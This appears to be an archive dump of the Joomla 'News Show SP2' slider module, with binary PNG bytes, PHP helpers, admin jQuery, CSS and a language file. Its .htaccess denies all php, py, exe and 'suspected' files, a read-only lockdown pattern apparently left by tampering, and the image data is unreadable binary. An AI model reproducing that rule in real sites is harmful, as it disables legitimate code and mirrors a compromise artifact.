���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATxڌСA���
�i�h��a���@��y�4�
DI�%���ڮ����}��p
�IZI�?�N#�(�!��L��8�9RN[/�p�k�1Ź�7H*&x��v]V����M�qǸ��Š�Y=/�}�sX��j��IEND�B`�mod_news_show_sp2/elements/images/arrow.png000060400000005531150747276150015142 0ustar00�PNG


IHDR���	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATx�\�1AA��,/J�P��V���P��J���$.��H4n 
G�'Ьd�j2�3S�16���dT��
c�/p�m�F+`�)
LpA/
tR��{HE�p�gh`�f��
��.nJ�8�n�*��IEND�B`�mod_news_show_sp2/elements/vmcategories.php000060400000000647150747276150015241 0ustar00<?php

/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

defined('_JEXEC') or die();

$path = JPATH_ADMINISTRATOR . '/components/com_virtuemart/fields/vmcategories.php';

if(file_exists($path)) {
	require_once $path;
}mod_news_show_sp2/elements/js/script.js000060400000006346150747276150014320 0ustar00/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

jQuery(function($) {
	
	$('#jform_params_asset-lbl').parent().parent().remove();

	nssp2_showhide();

	$("#jform_params_article_count_title_text,#jform_params_article_count_intro_text,#jform_params_article_more_text,#jform_params_article_image_float,#jform_params_links_title_count,#jform_params_links_intro_count,#jform_params_links_more_text,#jform_params_links_image_float").parent().parent().css("display", "none");
	
	$('#jform_params_article_count_title_text').insertAfter($('#jform_params_article_title_text_limit').wrap('<div class="nssp2" />'));
	$('#jform_params_article_count_intro_text').insertAfter($('#jform_params_article_intro_text_limit').wrap('<div class="nssp2" />'));
	$('#jform_params_article_image_float').insertAfter($('#jform_params_article_image_pos').wrap('<div class="nssp2" />'));
	$('#jform_params_article_more_text').insertAfter($('#jform_params_article_show_more').wrap('<div class="nssp2" />'));
	$('#jform_params_links_title_count').insertAfter($('#jform_params_links_title_text_limit').wrap('<div class="nssp2" />'));
	$('#jform_params_links_intro_count').insertAfter($('#jform_params_links_intro_text_limit').wrap('<div class="nssp2" />'));
	$('#jform_params_links_more_text').insertAfter($('#jform_params_links_more').wrap('<div class="nssp2" />'));
	$('#jform_params_links_image_float').insertAfter($('#jform_params_links_image_pos').wrap('<div class="nssp2" />'));
	
	$('#jform_params_content_source, #jform_params_article_animation, #jform_params_links_animation').change(function(){
		nssp2_showhide();
	});

	function nssp2_showhide(){

		if ($("#jform_params_content_source").val()=="k2") {
			$("#jform_params_catids").parent().parent().css("display", "none");
			$("#jformparamsk2catids,#jform_params_article_extra_fields").parent().parent().css("display", "block");		
		} else {
			$("#jform_params_catids").parent().parent().css("display", "block");	
			$("#jformparamsk2catids,#jform_params_article_extra_fields").parent().parent().css("display", "none");		
		}
		
		//Virtuemart
		if ($("#jform_params_content_source").val()=="vm") {
			$(".vm,#jform_params_vmcat-lbl").parent().parent().css("display", "block");
			$("#jform_params_ordering,#jform_params_ordering_direction-lbl,#jformparamsk2catids,#jform_params_catids,#jform_params_user_id-lbl,#jform_params_show_featured-lbl").parent().parent().css("display", "none");
		} else {
			$(".vm,#jform_params_vmcat-lbl").parent().parent().css("display", "none");
			$("#jform_params_ordering,#jform_params_ordering_direction-lbl,#jform_params_user_id-lbl,#jform_params_show_featured-lbl").parent().parent().css("display", "block");
		}
		
		//block1 animation
		if ($("#jform_params_article_animation").val()=="disabled") {
			$(".ani1").parent().parent().css("display", "none");
		} else {
			$(".ani1").parent().parent().css("display", "block");
		}

		if ($("#jform_params_links_animation").val()=="disabled") {
			$(".ani2").parent().parent().css("display", "none");
		} else {
			$(".ani2").parent().parent().css("display", "block");
		}

	}
});mod_news_show_sp2/elements/js/index.html000060400000000054150747276150014441 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_news_show_sp2/elements/css/index.html000060400000000054150747276150014615 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_news_show_sp2/elements/css/style.css000060400000000757150747276150014504 0ustar00/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2014 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/
div.nssp2 {}
	div.nssp2 fieldset {float:left}
	div.nssp2 input[type=text] {float:left;width:100px;margin:0 0 0 10px}
	div.nssp2 #jform_params_article_image_pos_chzn,
	div.nssp2 #jform_params_links_image_pos_chzn{float:left;margin:0 10px 0 0}mod_news_show_sp2/elements/k2category.php000060400000004137150747276150014621 0ustar00<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined('_JEXEC') or die('Restricted access');

jimport('joomla.form.formfield');
class JFormFieldK2Category extends JFormField {
	
	var	$type = 'k2category';
	
	function getInput(){
		$db = JFactory::getDBO();
		$fieldName = $this->name.'[]';
		
		if (file_exists(JPATH_BASE. '/components/com_k2')) {
			$query = 'SELECT m.* FROM #__k2_categories m WHERE published=1 AND trash = 0 ORDER BY parent, ordering';
			$db->setQuery($query);
			$mitems = $db->loadObjectList();
			if (count($mitems)) {
				$children = array();
				if ($mitems)
				{
					foreach ($mitems as $v)
					{
						$v->title = $v->name;
						$v->parent_id = $v->parent;
						$pt = $v->parent;
						$list = @$children[$pt] ? $children[$pt] : array();
						array_push($list, $v);
						$children[$pt] = $list;
					}
				}
				$list = JHTML::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0);
				$mitems = array();

				foreach ($list as $item)
				{
					$item->treename = JString::str_ireplace('&#160;', '- ', $item->treename);
					$mitems[] = JHTML::_('select.option', $item->id, '   '.$item->treename);
				}

				$output = JHTML::_('select.genericlist', $mitems, $fieldName, 'class="inputbox" multiple="multiple" size="10"', 'value', 'text', $this->value);
			} else {
				$mitems[] = JHTML::_('select.option', 0, 'There is no K2 category available.');
				$output   = JHtml::_('select.genericlist', $mitems, $fieldName, 'class="inputbox" disabled="disabled" multiple="multiple" style="width:160px" size="5"', 'value', 'text', $this->value);		
			}
		
		} else {
			$mitems = array();
			$mitems[] = JHTML::_('select.option', 0, 'K2 is not installed');
			$output   = JHtml::_('select.genericlist', $mitems, $fieldName, 'class="inputbox" disabled="disabled" multiple="multiple" style="width:160px" size="5"', 'value', 'text', $this->value);
		}
		
		return $output;
	}
}mod_news_show_sp2/index.html000060400000000054150747276150012211 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_news_show_sp2/helper.php000060400000013534150747276150012213 0ustar00<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined('_JEXEC') or die('Restricted access');

require_once JPATH_SITE.'/components/com_content/helpers/route.php';
jimport( 'joomla.plugin.helper');
JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_content/models', 'ContentModel');

abstract class modNSSP2JHelper
{
	public static function getList($params,$count){
		
		$app	= JFactory::getApplication();
		$db		= JFactory::getDbo();

		//Parameters
		$catids								= $params->get('catids', array());
		
		// Get an instance of the generic articles model
		$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		// Set the filters based on the module params
		$model->setState('list.start', 0);
		$model->setState('list.limit', (int) $count);
		$model->setState('filter.published', 1);
		
		// Access filter
		$access = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$model->setState('filter.access', $access);		
		
		//sp comments
		if (JPluginHelper::isEnabled('content', 'spcomments')) {
			$plgname 	= JPluginHelper::getPlugin('content', 'spcomments');
			$plgParams 	= json_decode($plgname->params);
		}
		//sp comments
		
		// Category filter
		$model->setState('filter.category_id', $catids);
		
		// User filter
		$userId = JFactory::getUser()->get('id');
		switch ($params->get('user_id'))
		{
			case 'by_me':
				$model->setState('filter.author_id', (int) $userId);
				break;
			case 'not_me':
				$model->setState('filter.author_id', $userId);
				$model->setState('filter.author_id.include', false);
				break;

			case '0':
				break;

			default:
				$model->setState('filter.author_id', (int) $params->get('user_id'));
				break;
		}


		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());		

		//  Featured switch
		switch ($params->get('show_featured'))
		{
			case '1':
				$model->setState('filter.featured', 'only');
				break;
			case '0':
				$model->setState('filter.featured', 'hide');
				break;
			default:
				$model->setState('filter.featured', 'show');
				break;
		}

		$ordering 			= $params->get('ordering', 'a.ordering');
		$ordering_direction	= $params->get('ordering_direction', 'ASC');

		$model->setState('list.ordering', $ordering);
		$model->setState('list.direction', $ordering_direction);

		$items 				= $model->getItems();
		
		foreach ($items as &$item) {
			$item->slug 		= $item->id.':'.$item->alias;
			$item->catslug 		= $item->catid.':'.$item->category_alias;
			$author 			= JFactory::getUser($item->created_by);
			$item->author 		= ($item->created_by_alias) ? $item->created_by_alias : $author->name;
			$item->created 		= $item->created;
			$item->hits 		= $item->hits;
			$item->category 	= $item->category_title;
			$item->cat_link 	= JRoute::_(ContentHelperRoute::getCategoryRoute($item->catid));
			$item->image 		= self::getImage($item->introtext,$item->images);
			$item->title 		= htmlspecialchars($item->title);
			$item->introtext 	= JHtml::_('content.prepare', $item->introtext);
			$item->link 		= JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catslug));

			if (JPluginHelper::isEnabled('content', 'spcomments'))
			{
				$item->comment 	= self::getComment($item->link, $item->catid, $plgParams);
			} 
			else
			{
				$item->comment 	= '<a class="ns2-comments" href="#">0 Comment</a>';
			}
			
			$item->rating 		= ($item->rating) ? number_format(intval($item->rating)/intval($item->rating_count), 2)*20 : 0;
		}	
		return $items;
		
	}
	
	private static function getImage($text, $image_src="") {
		$image_src = json_decode($image_src);		
		if (JVERSION>=2.5 && @$image_src->image_intro) {
			return $image_src->image_intro;
		} elseif (JVERSION>=2.5 && @$image_src->image_fulltext) {
			return $image_src->image_fulltext;
		} else {
			preg_match('/< *img[^>]*src *= *["\']?([^"\']*)/i', $text, $matches);	
			if (isset($matches[1])) {
				return $matches[1];
			}			
		}
	}
	
	//function to retrive comment from sp comments plugin
	private static function getComment($url, $catid, $params) {
		if (JPluginHelper::isEnabled('content', 'spcomments')) {
			if (in_array($catid, $params->catids)) {	
				//identifier
				$post_id			=substr(JURI::base(), 0, -1)."/".strstr($url, 'index.php');
				$identifier			= md5($post_id);
				//params
				$commenting_engine 	= $params->commenting_engine;
				$disqus_subdomain	= $params->disqus_subdomain;
				$disqus_devmode		= $params->disqus_devmode;
				$disqus_lang		= $params->disqus_lang;
				$intensedebate_acc	= $params->intensedebate_acc;
				$fb_appID			= $params->fb_appID;
				$fb_lang			= $params->fb_lang;
				
				if ($commenting_engine=="disqus") {//if disquss
					$link = '<a class="ns2-comments" href="' . $url . '#disqus_thread" data-disqus-identifier="' . $identifier . '"></a>';
				} else if ($commenting_engine=="intensedebate") {//intenseDebate
					$link = '<span class="containerCountComment">
							<script type="text/javascript">
							//<![CDATA[
									var idcomments_acct = "' . $intensedebate_acc . '";
									var idcomments_post_id = "' . $identifier . '";
									var idcomments_post_url = encodeURIComponent("' . $post_id . '");
							//]]>
							</script>
							<script type="text/javascript" src="http://www.intensedebate.com/js/genericLinkWrapperV2.js"></script>
					</span>';
				} else {//facebook
					$link = "<a class=\"ns2-comments\" href='$url'>Comments (<fb:comments-count href='$url'></fb:comments-count>)</a>";
				}
				return $link;
			}	
		}
	}
}mod_news_show_sp2/image.php000060400000013750150747276150012016 0ustar00<?php
/**
 * @package     Joomla.Platform
 * @subpackage  Image
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Class to manipulate an image.
 *
 * @package     Joomla.Platform
 * @subpackage  Image
 * @since       11.3
 */
class modNSSP2ImageHelper extends JImage
{

	/**
	 * Class constructor.
	 *
	 * @param   mixed  $source  Either a file path for a source image or a GD resource handler for an image.
	 *
	 * @since   11.3
	 * @throws  RuntimeException
	 */
	public function __construct($source = null)
	{
		parent::__construct( $source );
	}

	/**
	 * Method to generate thumbnails from the current image. It allows
	 * creation by resizing or cropping the original image.
	 *
	 * @param   mixed    $thumbSizes      String or array of strings. Example: $thumbSizes = array('150x75','250x150');
	 * @param   integer  $creationMethod  1-3 resize $scaleMethod | 4 create croppping | 5 resize then crop
	 *
	 * @return  array
	 *
	 * @since   12.2
	 * @throws  LogicException
	 * @throws  InvalidArgumentException
	 */
	public function generateThumbs($thumbSizes, $creationMethod = self::SCALE_INSIDE)
	{
		// Make sure the resource handle is valid.
		if (!$this->isLoaded())
		{
			throw new LogicException('No valid image was loaded.');
		}

		// Accept a single thumbsize string as parameter
		if (!is_array($thumbSizes))
		{
			$thumbSizes = array($thumbSizes);
		}

		// Process thumbs
		$generated = array();

		if (!empty($thumbSizes))
		{
			foreach ($thumbSizes as $thumbSize)
			{
				// Desired thumbnail size
				$size = explode('x', strtolower($thumbSize));

				if (count($size) != 2)
				{
					throw new InvalidArgumentException('Invalid thumb size received: ' . $thumbSize);
				}

				$thumbWidth  = $size[0];
				$thumbHeight = $size[1];

				switch ($creationMethod)
				{
					// Case for self::CROP
					case 4:
						$thumb = $this->crop($thumbWidth, $thumbHeight, null, null, true);
						break;

					// Case for self::CROP_RESIZE
					case 5:
						$thumb = $this->cropResize($thumbWidth, $thumbHeight, true);
						break;

					default:
						$thumb = $this->resize($thumbWidth, $thumbHeight, true, $creationMethod);
						break;
				}

				// Store the thumb in the results array
				$generated[] = $thumb;
			}
		}

		return $generated;
	}

	/**
	 * Method to create thumbnails from the current image and save them to disk. It allows creation by resizing
	 * or croppping the original image.
	 *
	 * @param   mixed    $thumbSizes      string or array of strings. Example: $thumbSizes = array('150x75','250x150');
	 * @param   integer  $creationMethod  1-3 resize $scaleMethod | 4 create croppping
	 * @param   string   $thumbsFolder    destination thumbs folder. null generates a thumbs folder in the image folder
	 *
	 * @return  array
	 *
	 * @since   12.2
	 * @throws  LogicException
	 * @throws  InvalidArgumentException
	 */
	public function createThumbs($thumbSizes, $creationMethod = self::SCALE_INSIDE, $thumbsFolder = null)
	{
		// Make sure the resource handle is valid.
		if (!$this->isLoaded())
		{
			throw new LogicException('No valid image was loaded.');
		}

		// No thumbFolder set -> we will create a thumbs folder in the current image folder
		if (is_null($thumbsFolder))
		{
			$thumbsFolder = dirname($this->getPath()) . '/thumbs';
		}

		// Check destination
		if (!is_dir($thumbsFolder) && (!is_dir(dirname($thumbsFolder)) || !@mkdir($thumbsFolder)))
		{
			throw new InvalidArgumentException('Folder does not exist and cannot be created: ' . $thumbsFolder);
		}

		// Process thumbs
		$thumbsCreated = array();

		if ($thumbs = $this->generateThumbs($thumbSizes, $creationMethod))
		{
			// Parent image properties
			$imgProperties = self::getImageFileProperties($this->getPath());

			foreach ($thumbs as $thumb)
			{
				// Get thumb properties
				$thumbWidth     = $thumb->getWidth();
				$thumbHeight    = $thumb->getHeight();

				// Generate thumb name
				$filename       = pathinfo($this->getPath(), PATHINFO_FILENAME);
				$fileExtension  = pathinfo($this->getPath(), PATHINFO_EXTENSION);
				$thumbFileName  = $filename . '_' . $thumbWidth . 'x' . $thumbHeight . '.' . $fileExtension;

				// Save thumb file to disk
				$thumbFileName = $thumbsFolder . '/' . $thumbFileName;

				if ($thumb->toFile($thumbFileName, $imgProperties->type))
				{
					// Return JImage object with thumb path to ease further manipulation
					$thumb->path = $thumbFileName;
					$thumbsCreated[] = $thumb;
				}
			}
		}

		return $thumbsCreated;
	}

	/**
	 * Method to crop an image after resizing it to maintain
	 * proportions without having to do all the set up work.
	 *
	 * @param   integer  $width      The desired width of the image in pixels or a percentage.
	 * @param   integer  $height     The desired height of the image in pixels or a percentage.
	 * @param   integer  $createNew  If true the current image will be cloned, resized, cropped and returned.
	 *
	 * @return  object  JImage Object for chaining.
	 *
	 * @since   12.3
	 */
	public function cropResize($width, $height, $createNew = true)
	{
		$width   = $this->sanitizeWidth($width, $height);
		$height  = $this->sanitizeHeight($height, $width);

		if (($this->getWidth() / $width) < ($this->getHeight() / $height))
		{
			$this->resize($width, 0, false);
		}
		else
		{
			$this->resize(0, $height, false);
		}

		return $this->crop($width, $height, null, null, $createNew);
	}

	/**
	 * Method to destroy an image handle and
	 * free the memory associated with the handle
	 *
	 * @return  boolean  True on success, false on failure or if no image is loaded
	 *
	 * @since   12.3
	 */
	public function destroy()
	{
		if ($this->isLoaded())
		{
			return imagedestroy($this->handle);
		}

		return false;
	}

	/**
	 * Method to call the destroy() method one last time
	 * to free any memory when the object is unset
	 *
	 * @see     JImage::destroy()
	 * @since   12.3
	 */
	public function __destruct()
	{
		$this->destroy();
	}
}
mod_news_show_sp2/.htaccess000044400000000177150747276150012022 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_news_show_sp2/language/en-GB.mod_news_show_sp2.ini000060400000013504150747276150017032 0ustar00MODSFX="Module Class Suffix"
MODSFX_DESC="A suffix to be applied to the css class of the module (table.moduletable), this allows individual module styling"
COM_MODULES_DATASOURCE_FIELDSET_LABEL="Data Source"
COM_MODULES_ARTICLE_LAYOUT_FIELDSET_LABEL="Article Layout"
COM_MODULES_LINKS_LAYOUT_FIELDSET_LABEL="Links Layout"
UNIQID="Unique ID"
UNIQID_DESC="Set a unique id for this module or leave blank for auto id."
CONTENT_SOURCE="Content Source"
CONTENT_SOURCE_DESC="Content Source"
JOOMLA="Joomla"
MODK2="K2"
CATEGORY="Category"
CATEGORY_DESC="Select joomla category"
K2CATEGORY="K2 Category"
K2CATEGORY_DESC="Select K2 category"
ORDER="Ordering"
ORDER_DESC="Select which field you would like Articles to be ordered by."
JOOMLA_ORDERING="Ordering"
PUBLISHED_UP="Published"
HITS_TEXT="Hits"
TITLE="Title"
ID="ID"
ALIAS="Alias"
CREATED="Created Date"
MODIFIED="Modified Date"
ORDERING_FILTER="Ordering filter"
ORDERING_FILTER_DESC="Select the direction you would like Articles to be ordered by."
FILTER_DESC="Descending"
FILTER_ASC="Ascending"
AUTHORS="Authors"
AUTHORS_DESC="Filter by author"
ANYONE="Anyone"
BYME="Added or modified by me"
NOTBYME="Not added or modified by me"
FEATURED="Featured articles"
FEATURED_DESC="Show/Hide Articles designated as Featured"
ONLY_SHOW_FEATURED="Only show Featured Articles"
ARTICLE_COLUMN="Article columns"
ARTICLE_COLUMN_DESC="Set the number of columns visible on one page."
ARTICLE_ROW="Article rows"
ARTICLE_ROW_DESC="Set the number of rows visible on one page."
COLUMN_PADDING="Column padding"
COLUMN_PADDING_DESC="Padding of column as a CSS property value, eg. 3px 4px 3px 4px"
SHOW_TITLE="Show title"
SHOW_TITLE_DESC="Whether to show title"
LINKED_TITLE="Title linked"
LINKED_TITLE_DESC="Whether to link the title to the article."
TITLE_TEXT_LIMIT="Title text limit"
TITLE_TEXT_LIMIT_DESC="Set the text limit for title, set 0 for no limit."
SHOW_INTRO="Show Introtext"
SHOW_INTRO_DESC="Whether to show Introtext"
INTRO_TEXT_LIMIT="Intotext limit"
INTRO_TEXT_LIMIT_DESC="Set the text limit for introtext, set 0 for no limit."
WORDS="Words"
CHARS="Chars"
DATE_FORMAT="Date format"
DATE_FORMAT_DESC="Select the format of created date."
SHOW_AUTHOR="Show Author"
SHOW_AUTHOR_DESC="Whether to show Author name."
SHOW_CAT="Show category"
SHOW_CAT_DESC="Whether to show item category."
LINKED_CAT="Linked category"
LINKED_CAT_DESC="Whether to link the category of the item."
SHOW_RATINGS="Show ratings"
SHOW_RATINGS_DESC="Show ratings"
SHOW_DATE="Show date"
SHOW_DATE_DESC="Whether to show the date created."
SHOW_IMAGE="Show image"
SHOW_IMAGE_DESC="Whether to show the image."
LINKED_IMAGE="Linked image"
LINKED_IMAGE_DESC="Whether to link the article of the image."
IMGPOS="Image Position"
IMGPOS_DESC="Image Position"
DEFAULT="Default"
BEFORE_TITLE="Before title"
AFTER_TITLE="After title"
LEFT="Left"
RIGHT="Right"
IMG_MARGIN="Image Margin"
IMG_MARGIN_DESC="Image margin as a CSS property value, eg. 3px 4px 3px 4px. Leave blank for no margin."
THUMBWIDTH="Thumbnail width"
THUMBWIDTH_DESC="Thumbnail width eg. 160"
THUMBHEIGHT="Thumbnail height"
THUMBHEIGHT_DESC="Thumbnail height eg. 160"
RATIO="Aspect ratio"
RATIO_DESC="Whether keep aspect ratio for thumbnail or not?"
SHOW_EXTRA_FIELDS="Show K2 extra fields"
SHOW_EXTRA_FIELDS_DESC="Show K2 extra fields"
SHOW_READMORE="Show readmore"
SHOW_READMORE_DESC="Show/Hide readmore button"
SHOW_HITS="Show hits"
SHOW_HITS_DESC="Whether to show hits"
SHOW_COMMENTS="Show comments"
SHOW_COMMENTS_DESC="SP Comments need to have installed."
ANIMATION="Animation"
ANIMATION_DESC="Animation"
DISABLED="Disabled"
SLIDE="Slide"
FADE="Fade"
NOEFFECT="No Effect"
ARTICLE_SLIDE_COUNT="Number of slides"
ARTICLE_SLIDE_COUNT_DESC="Number of slides"
PAGINATION="Show pagination"
PAGINATION_DESC="Pagination"
JNONE="None"
COUNTER="Counter"
SHOW_ARROWS="Show arrows"
SHOW_ARROWS_DESC="Show arrows"
AUTOPLAY="Auto play"
AUTOPLAY_DESC="Auto play"
SHOW_PLAY_BUTTON="Show play button"
SHOW_PLAY_BUTTON_DESC="Show play button"
ACTIVATOR="Activator"
ACTIVATOR_DESC="Set animation activator"
CLICK="Click"
HOVER="Hover"
SPEED="Animation speed"
SPEED_DESC="Set the animation speed in ms, eg. 400"
INTERVAL="Animation interval"
INTERVAL_DESC="Set the interval between two slides in ms, eg. 5000"
TRANSITION="Animation transition"
TRANSITION_DESC="Animation transition"
LINKS_BLOCK="Show links block"
LINKS_BLOCK_DESC="Enable this option if you want to show links"
LINKS_COUNT="Links count"
LINKS_COUNT_DESC="Number of items to display as links."
LINKS_POSITION="Position"
LINKS_POSITION_DESC="Position of the links block"
BOTTOM="Bottom"
LINKS_BLOCK_PADDING="Padding"
LINKS_BLOCK_PADDING_DESC="Padding of links block as a CSS property value, eg. 3px 4px 3px 4px. Leave blank for no padding."
LINKS_MORE="Links more"
LINKS_MORE_DESC="Whether to show the More text."
MODNS2_CREATED="on"
MODNS2_WRITTEN="Written by"
MODNS2_CATEGORY="in"
COMMENTS_TEXT="Comments"
#blog type date
NSSP2_0="0"
NSSP2_1="1"
NSSP2_2="2"
NSSP2_3="3"
NSSP2_4="4"
NSSP2_5="5"
NSSP2_6="6"
NSSP2_7="7"
NSSP2_8="8"
NSSP2_9="9"
NSSP2_JANUARY="Jan"
NSSP2_FEBRUARY="Feb"
NSSP2_MARCH="Mar"
NSSP2_APRIL="Apr"
NSSP2_MAY="May"
NSSP2_JUNE="Jun"
NSSP2_JULY="Jul"
NSSP2_AUGUST="Aug"
NSSP2_SEPTEMBER="Sep"
NSSP2_OCTOBER="Oct"
NSSP2_NOVEMBER="Nov"
NSSP2_DECEMBER="Dec"
#Virtuemart
VMCATEGORY="Virtuemart Category"
VMCATEGORY_DESC="Select Virtuemart category"
MODVM="Virtuemart"
SHOW_PRICE="Show Price"
SHOW_PRICE_DESC="Whether to show the product price"
SHOW_CART_BUTTON="Show cart button"
SHOW_CART_BUTTON_DESC="Whether to show the cart button"
FEATURED_PRODUCTS="Featured Products"
LATEST_PRODUCTS="Latest Products"
RANDOM_PRODUCTS="Random Products"
BEST_SALES="Best Sales"
#Social Icons
LIKE_BUTTON="Like Button"
TWITTER="Twitter Share"
